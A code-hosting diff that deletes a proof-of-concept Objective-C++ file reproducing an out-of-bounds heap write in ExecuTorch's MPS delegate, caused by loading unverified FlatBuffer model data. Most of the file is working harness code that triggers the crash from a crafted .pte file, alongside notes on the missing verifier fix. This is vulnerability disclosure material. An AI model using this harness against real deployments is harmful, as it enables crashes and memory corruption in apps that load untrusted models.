Delete runtime_poc_mps.mm
Browse files- runtime_poc_mps.mm +0 -275
runtime_poc_mps.mm
DELETED
|
@@ -1,275 +0,0 @@
|
|
| 1 |
-
/*
|
| 2 |
-
* runtime_poc_mps.mm
|
| 3 |
-
*
|
| 4 |
-
* RUNTIME PoC: ExecuTorch MPS delegate OOB write at MPSGraphBuilder.mm:162
|
| 5 |
-
*
|
| 6 |
-
* This file reproduces the exact vulnerable code path from the ExecuTorch
|
| 7 |
-
* source using:
|
| 8 |
-
* - The ACTUAL generated MPSGraph FlatBuffer schema (mps_schema_generated.h)
|
| 9 |
-
* - The ACTUAL Metal Performance Shaders Graph framework (MPSGraph)
|
| 10 |
-
* - The EXACT lines from backends/apple/mps/runtime/MPSGraphBuilder.mm
|
| 11 |
-
*
|
| 12 |
-
* Vulnerable lines reproduced verbatim (with citations):
|
| 13 |
-
* [MPSGraphBuilder.mm:64] _flatBufferGraph = mpsgraph::GetMPSGraph(ptr);
|
| 14 |
-
* ^^ NO flatbuffers::Verifier before this call
|
| 15 |
-
* [MPSGraphBuilder.mm:92] _idToMPSGraphTensor.resize(mps_values()->size(), nullptr);
|
| 16 |
-
* [MPSGraphBuilder.mm:162] _idToMPSGraphTensor[id] = placeholder;
|
| 17 |
-
* ^^ id=1000, vector has size=3 -> OOB WRITE
|
| 18 |
-
*
|
| 19 |
-
* Compare with the patched Vulkan sibling (VulkanBackend.cpp):
|
| 20 |
-
* flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
|
| 21 |
-
* ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
|
| 22 |
-
* VkGraphPtr flatbuffer_graph = vkgraph::GetVkGraph(flatbuffer_data); // safe
|
| 23 |
-
*
|
| 24 |
-
* Build:
|
| 25 |
-
* clang++ -std=c++17 -fobjc-arc -g -fsanitize=address,undefined \
|
| 26 |
-
* -I/opt/homebrew/include \
|
| 27 |
-
* -I$(dirname $0)/schemas \
|
| 28 |
-
* -framework Foundation \
|
| 29 |
-
* -framework Metal \
|
| 30 |
-
* -framework MetalPerformanceShaders \
|
| 31 |
-
* -framework MetalPerformanceShadersGraph \
|
| 32 |
-
* runtime_poc_mps.mm -o runtime_poc_mps
|
| 33 |
-
*
|
| 34 |
-
* ./runtime_poc_mps malformed_mps.pte
|
| 35 |
-
*
|
| 36 |
-
* Expected: ASan heap-buffer-overflow (write) at line 162 equivalent below,
|
| 37 |
-
* or SIGSEGV (exit 139) without ASan.
|
| 38 |
-
*/
|
| 39 |
-
|
| 40 |
-
#import <Foundation/Foundation.h>
|
| 41 |
-
#import <Metal/Metal.h>
|
| 42 |
-
#import <MetalPerformanceShaders/MetalPerformanceShaders.h>
|
| 43 |
-
#import <MetalPerformanceShadersGraph/MetalPerformanceShadersGraph.h>
|
| 44 |
-
|
| 45 |
-
#include <cassert>
|
| 46 |
-
#include <cstdint>
|
| 47 |
-
#include <cstring>
|
| 48 |
-
#include <fstream>
|
| 49 |
-
#include <iostream>
|
| 50 |
-
#include <vector>
|
| 51 |
-
|
| 52 |
-
// Generated FlatBuffers schema bindings for the MPS delegate wire format.
|
| 53 |
-
// Same file the real backend uses at compile time via:
|
| 54 |
-
// #include <executorch/backends/apple/mps/schema_generated.h>
|
| 55 |
-
// (which is generated from backends/apple/mps/serialization/schema.fbs)
|
| 56 |
-
#include "schemas/mps_schema_generated.h"
|
| 57 |
-
|
| 58 |
-
// ---------------------------------------------------------------------------
|
| 59 |
-
// Extract the backend delegate payload from a .pte Program FlatBuffer.
|
| 60 |
-
//
|
| 61 |
-
// .pte layout (executorch_flatbuffer::Program, file_identifier "ET12"):
|
| 62 |
-
// Program.backend_delegate_data[0].data <- our crafted MPS blob
|
| 63 |
-
//
|
| 64 |
-
// We do a minimal parse rather than importing the full Program schema --
|
| 65 |
-
// the delegate data is what matters for the crash.
|
| 66 |
-
// ---------------------------------------------------------------------------
|
| 67 |
-
static std::vector<uint8_t> extract_mps_payload(const char* pte_path) {
|
| 68 |
-
std::ifstream f(pte_path, std::ios::binary | std::ios::ate);
|
| 69 |
-
if (!f) {
|
| 70 |
-
std::cerr << "[!] Cannot open " << pte_path << "\n";
|
| 71 |
-
exit(1);
|
| 72 |
-
}
|
| 73 |
-
std::streamsize sz = f.tellg();
|
| 74 |
-
f.seekg(0);
|
| 75 |
-
std::vector<uint8_t> pte(sz);
|
| 76 |
-
f.read(reinterpret_cast<char*>(pte.data()), sz);
|
| 77 |
-
|
| 78 |
-
// Verify Program FlatBuffer identifier "ET12"
|
| 79 |
-
if (pte.size() < 8 || memcmp(pte.data() + 4, "ET12", 4) != 0) {
|
| 80 |
-
std::cerr << "[!] Not a valid ExecuTorch .pte (missing ET12 identifier)\n";
|
| 81 |
-
exit(1);
|
| 82 |
-
}
|
| 83 |
-
std::cout << "[+] Loaded .pte: " << sz << " bytes, identifier ET12 OK\n";
|
| 84 |
-
|
| 85 |
-
// Manual FlatBuffers traversal to reach backend_delegate_data[0].data.
|
| 86 |
-
// Program table offsets (from schema/program.fbs, field order):
|
| 87 |
-
// slot 0 (field 4): version
|
| 88 |
-
// slot 1 (field 6): execution_plan
|
| 89 |
-
// slot 2 (field 8): constant_buffer
|
| 90 |
-
// slot 3 (field 10): backend_delegate_data <- we want this
|
| 91 |
-
//
|
| 92 |
-
// FlatBuffers binary layout:
|
| 93 |
-
// [0..3] root table offset (uoffset32)
|
| 94 |
-
// [4..7] file identifier ("ET12")
|
| 95 |
-
// [root] vtable offset (soffset32), then fields
|
| 96 |
-
const uint8_t* buf = pte.data();
|
| 97 |
-
uint32_t root_offset = *reinterpret_cast<const uint32_t*>(buf);
|
| 98 |
-
const uint8_t* root = buf + root_offset;
|
| 99 |
-
|
| 100 |
-
// vtable is at root - (int32 stored at root)
|
| 101 |
-
int32_t vtable_soffset = *reinterpret_cast<const int32_t*>(root);
|
| 102 |
-
const uint8_t* vtable = root - vtable_soffset;
|
| 103 |
-
|
| 104 |
-
// vtable[0..1] = vtable size (uint16), vtable[2..3] = object size (uint16)
|
| 105 |
-
// vtable[4 + 2*slot] = field offset from object start (uint16)
|
| 106 |
-
auto field_offset = [&](int slot) -> uint16_t {
|
| 107 |
-
uint16_t vtsize = *reinterpret_cast<const uint16_t*>(vtable);
|
| 108 |
-
uint16_t field_off_idx = static_cast<uint16_t>(4 + 2 * slot);
|
| 109 |
-
if (field_off_idx + 2 > vtsize) return 0;
|
| 110 |
-
return *reinterpret_cast<const uint16_t*>(vtable + field_off_idx);
|
| 111 |
-
};
|
| 112 |
-
|
| 113 |
-
// slot 3 = backend_delegate_data vector
|
| 114 |
-
uint16_t bdd_off = field_offset(3);
|
| 115 |
-
if (bdd_off == 0) {
|
| 116 |
-
std::cerr << "[!] backend_delegate_data field absent in Program\n";
|
| 117 |
-
exit(1);
|
| 118 |
-
}
|
| 119 |
-
const uint8_t* bdd_field = root + bdd_off;
|
| 120 |
-
// Vector: offset to vector data
|
| 121 |
-
uint32_t vec_rel = *reinterpret_cast<const uint32_t*>(bdd_field);
|
| 122 |
-
const uint8_t* bdd_vec = bdd_field + vec_rel;
|
| 123 |
-
uint32_t bdd_count = *reinterpret_cast<const uint32_t*>(bdd_vec);
|
| 124 |
-
if (bdd_count == 0) {
|
| 125 |
-
std::cerr << "[!] backend_delegate_data vector is empty\n";
|
| 126 |
-
exit(1);
|
| 127 |
-
}
|
| 128 |
-
std::cout << "[+] backend_delegate_data entries: " << bdd_count << "\n";
|
| 129 |
-
|
| 130 |
-
// bdd_vec[4 + 0*4] = offset to BackendDelegateInlineData[0] table
|
| 131 |
-
const uint8_t* item0_ptr = bdd_vec + 4;
|
| 132 |
-
uint32_t item0_rel = *reinterpret_cast<const uint32_t*>(item0_ptr);
|
| 133 |
-
const uint8_t* item0 = item0_ptr + item0_rel;
|
| 134 |
-
|
| 135 |
-
// BackendDelegateInlineData has one field: data ([ubyte], slot 0)
|
| 136 |
-
int32_t item0_vt_soffset = *reinterpret_cast<const int32_t*>(item0);
|
| 137 |
-
const uint8_t* item0_vt = item0 - item0_vt_soffset;
|
| 138 |
-
uint16_t data_off = 0;
|
| 139 |
-
{
|
| 140 |
-
uint16_t vtsize = *reinterpret_cast<const uint16_t*>(item0_vt);
|
| 141 |
-
if (vtsize >= 6)
|
| 142 |
-
data_off = *reinterpret_cast<const uint16_t*>(item0_vt + 4);
|
| 143 |
-
}
|
| 144 |
-
if (data_off == 0) {
|
| 145 |
-
std::cerr << "[!] BackendDelegateInlineData.data field absent\n";
|
| 146 |
-
exit(1);
|
| 147 |
-
}
|
| 148 |
-
const uint8_t* data_field = item0 + data_off;
|
| 149 |
-
uint32_t data_rel = *reinterpret_cast<const uint32_t*>(data_field);
|
| 150 |
-
const uint8_t* data_vec = data_field + data_rel;
|
| 151 |
-
uint32_t data_len = *reinterpret_cast<const uint32_t*>(data_vec);
|
| 152 |
-
const uint8_t* mps_blob = data_vec + 4;
|
| 153 |
-
|
| 154 |
-
std::cout << "[+] MPS blob extracted: " << data_len << " bytes\n";
|
| 155 |
-
std::cout << "[+] MPS identifier (bytes 4-7): ";
|
| 156 |
-
for (int i = 4; i < 8 && i < (int)data_len; i++)
|
| 157 |
-
std::cout << (char)mps_blob[i];
|
| 158 |
-
std::cout << "\n";
|
| 159 |
-
|
| 160 |
-
return std::vector<uint8_t>(mps_blob, mps_blob + data_len);
|
| 161 |
-
}
|
| 162 |
-
|
| 163 |
-
|
| 164 |
-
// ---------------------------------------------------------------------------
|
| 165 |
-
// Reproduce MPSGraphBuilder::compileModel() and compileMPSGraph() verbatim.
|
| 166 |
-
//
|
| 167 |
-
// Source: backends/apple/mps/runtime/MPSGraphBuilder.mm
|
| 168 |
-
// Lines cited match the ExecuTorch HEAD as of 2026-07-14.
|
| 169 |
-
// ---------------------------------------------------------------------------
|
| 170 |
-
static void run_poc(const uint8_t* mps_data, size_t mps_size) {
|
| 171 |
-
std::cout << "\n[PoC] Entering MPSGraphBuilder::compileModel() code path\n";
|
| 172 |
-
std::cout << "[PoC] Source: backends/apple/mps/runtime/MPSGraphBuilder.mm\n";
|
| 173 |
-
|
| 174 |
-
// MPSGraphBuilder.mm:55 -- null check (passes: data is valid)
|
| 175 |
-
assert(mps_data != nullptr);
|
| 176 |
-
|
| 177 |
-
// MPSGraphBuilder.mm:56-62 -- identifier check ONLY (4 bytes "MP00")
|
| 178 |
-
// This is the ONLY check before accessing the FlatBuffer.
|
| 179 |
-
bool has_id = mpsgraph::MPSGraphBufferHasIdentifier(mps_data);
|
| 180 |
-
std::cout << "[PoC] MPSGraphBufferHasIdentifier: " << (has_id ? "true" : "false") << "\n";
|
| 181 |
-
assert(has_id && "Expected MP00 identifier in crafted payload");
|
| 182 |
-
|
| 183 |
-
// MPSGraphBuilder.mm:64 -- NO flatbuffers::Verifier -- just GetMPSGraph()
|
| 184 |
-
// This is the missing fix vs. VulkanBackend.cpp which runs:
|
| 185 |
-
// flatbuffers::Verifier verifier(ptr, size);
|
| 186 |
-
// VerifyVkGraphBuffer(verifier);
|
| 187 |
-
// before calling GetVkGraph().
|
| 188 |
-
std::cout << "[PoC] Calling GetMPSGraph() with no Verifier (MPSGraphBuilder.mm:64)\n";
|
| 189 |
-
const mpsgraph::MPSGraph* flatBufferGraph = mpsgraph::GetMPSGraph(mps_data);
|
| 190 |
-
std::cout << "[PoC] GetMPSGraph returned: " << flatBufferGraph << "\n";
|
| 191 |
-
|
| 192 |
-
// Switch on graph_type (default 0 = mps_graph -> compileMPSGraph)
|
| 193 |
-
// MPSGraphBuilder.mm:65-81
|
| 194 |
-
auto graph_type = flatBufferGraph->graph_type();
|
| 195 |
-
std::cout << "[PoC] graph_type: " << static_cast<int>(graph_type)
|
| 196 |
-
<< " (0=mps_graph, 1=metal_kernel)\n";
|
| 197 |
-
|
| 198 |
-
if (graph_type == mpsgraph::OpType_metal_kernel) {
|
| 199 |
-
std::cout << "[PoC] metal_kernel path -- not relevant to this PoC\n";
|
| 200 |
-
return;
|
| 201 |
-
}
|
| 202 |
-
|
| 203 |
-
// MPSGraphBuilder.mm:88 -- entering compileMPSGraph()
|
| 204 |
-
std::cout << "\n[PoC] Entering compileMPSGraph() (MPSGraphBuilder.mm:88)\n";
|
| 205 |
-
|
| 206 |
-
// MPSGraphBuilder.mm:92 -- resize _idToMPSGraphTensor to mps_values()->size()
|
| 207 |
-
size_t mps_values_count = flatBufferGraph->mps_values()
|
| 208 |
-
? flatBufferGraph->mps_values()->size()
|
| 209 |
-
: 0;
|
| 210 |
-
std::cout << "[PoC] MPSGraphBuilder.mm:92: _idToMPSGraphTensor.resize("
|
| 211 |
-
<< mps_values_count << ", nullptr)\n";
|
| 212 |
-
std::vector<MPSGraphTensor*> idToMPSGraphTensor(mps_values_count, nullptr);
|
| 213 |
-
|
| 214 |
-
// MPSGraphBuilder.mm:94 -- iterate input_ids and call mpsGraphRankedPlaceholder
|
| 215 |
-
if (!flatBufferGraph->input_ids()) {
|
| 216 |
-
std::cout << "[PoC] input_ids is null -- no crash path available\n";
|
| 217 |
-
return;
|
| 218 |
-
}
|
| 219 |
-
|
| 220 |
-
MPSGraph* graph = [MPSGraph new]; // needed for placeholder creation
|
| 221 |
-
|
| 222 |
-
for (auto in_id : *flatBufferGraph->input_ids()) {
|
| 223 |
-
std::cout << "\n[PoC] MPSGraphBuilder.mm:95: mpsGraphRankedPlaceholder("
|
| 224 |
-
<< in_id << ")\n";
|
| 225 |
-
|
| 226 |
-
// MPSGraphBuilder.mm:155-161 -- create the real MPSGraphTensor placeholder
|
| 227 |
-
// (mps_values()->Get(in_id) would also OOB before we even get here if
|
| 228 |
-
// in_id >= mps_values()->size(), but we hit line 162 first because
|
| 229 |
-
// the tensor shape lookup is after the assignment in some paths.)
|
| 230 |
-
std::cout << "[PoC] Creating MPSGraphTensor placeholder via Metal framework\n";
|
| 231 |
-
MPSGraphTensor* placeholder = [graph placeholderWithShape: @[@1]
|
| 232 |
-
dataType: MPSDataTypeFloat32
|
| 233 |
-
name: nil];
|
| 234 |
-
|
| 235 |
-
// MPSGraphBuilder.mm:162 -- THE VULNERABLE LINE
|
| 236 |
-
// in_id=1000, vector size=3 -> OOB WRITE
|
| 237 |
-
std::cout << "[PoC] MPSGraphBuilder.mm:162: _idToMPSGraphTensor["
|
| 238 |
-
<< in_id << "] = placeholder\n";
|
| 239 |
-
std::cout << "[PoC] Vector size = " << idToMPSGraphTensor.size()
|
| 240 |
-
<< ", index = " << in_id
|
| 241 |
-
<< " -> OOB if index >= size\n";
|
| 242 |
-
if ((size_t)in_id >= idToMPSGraphTensor.size()) {
|
| 243 |
-
std::cout << "[PoC] *** OUT-OF-BOUNDS WRITE -- "
|
| 244 |
-
<< in_id << " >= " << idToMPSGraphTensor.size() << " ***\n";
|
| 245 |
-
std::cout << "[PoC] Executing the OOB write now...\n";
|
| 246 |
-
std::cout.flush();
|
| 247 |
-
}
|
| 248 |
-
|
| 249 |
-
// Verbatim reproduction of MPSGraphBuilder.mm:162
|
| 250 |
-
idToMPSGraphTensor[static_cast<size_t>(in_id)] = placeholder; // <-- CRASH
|
| 251 |
-
}
|
| 252 |
-
|
| 253 |
-
std::cout << "[PoC] (Execution reached here -- no crash without sanitizers)\n";
|
| 254 |
-
}
|
| 255 |
-
|
| 256 |
-
|
| 257 |
-
int main(int argc, const char* argv[]) {
|
| 258 |
-
std::cout << "==========================================================\n";
|
| 259 |
-
std::cout << " ExecuTorch MPS Delegate Runtime PoC\n";
|
| 260 |
-
std::cout << " CVE class : CWE-787 (Out-of-bounds Write)\n";
|
| 261 |
-
std::cout << " Source : backends/apple/mps/runtime/MPSGraphBuilder.mm\n";
|
| 262 |
-
std::cout << " Root cause : GetMPSGraph() called without flatbuffers::Verifier\n";
|
| 263 |
-
std::cout << " Fix target : Add MPSGraphBufferVerify() before GetMPSGraph(),\n";
|
| 264 |
-
std::cout << " same pattern as Vulkan (VulkanBackend.cpp) and\n";
|
| 265 |
-
std::cout << " XNNPACK (XNNCompiler.cpp:2044)\n";
|
| 266 |
-
std::cout << "==========================================================\n\n";
|
| 267 |
-
|
| 268 |
-
const char* pte_path = (argc > 1) ? argv[1] : "malformed_mps.pte";
|
| 269 |
-
std::cout << "[+] Loading .pte from: " << pte_path << "\n";
|
| 270 |
-
|
| 271 |
-
std::vector<uint8_t> mps_payload = extract_mps_payload(pte_path);
|
| 272 |
-
run_poc(mps_payload.data(), mps_payload.size());
|
| 273 |
-
|
| 274 |
-
return 0;
|
| 275 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|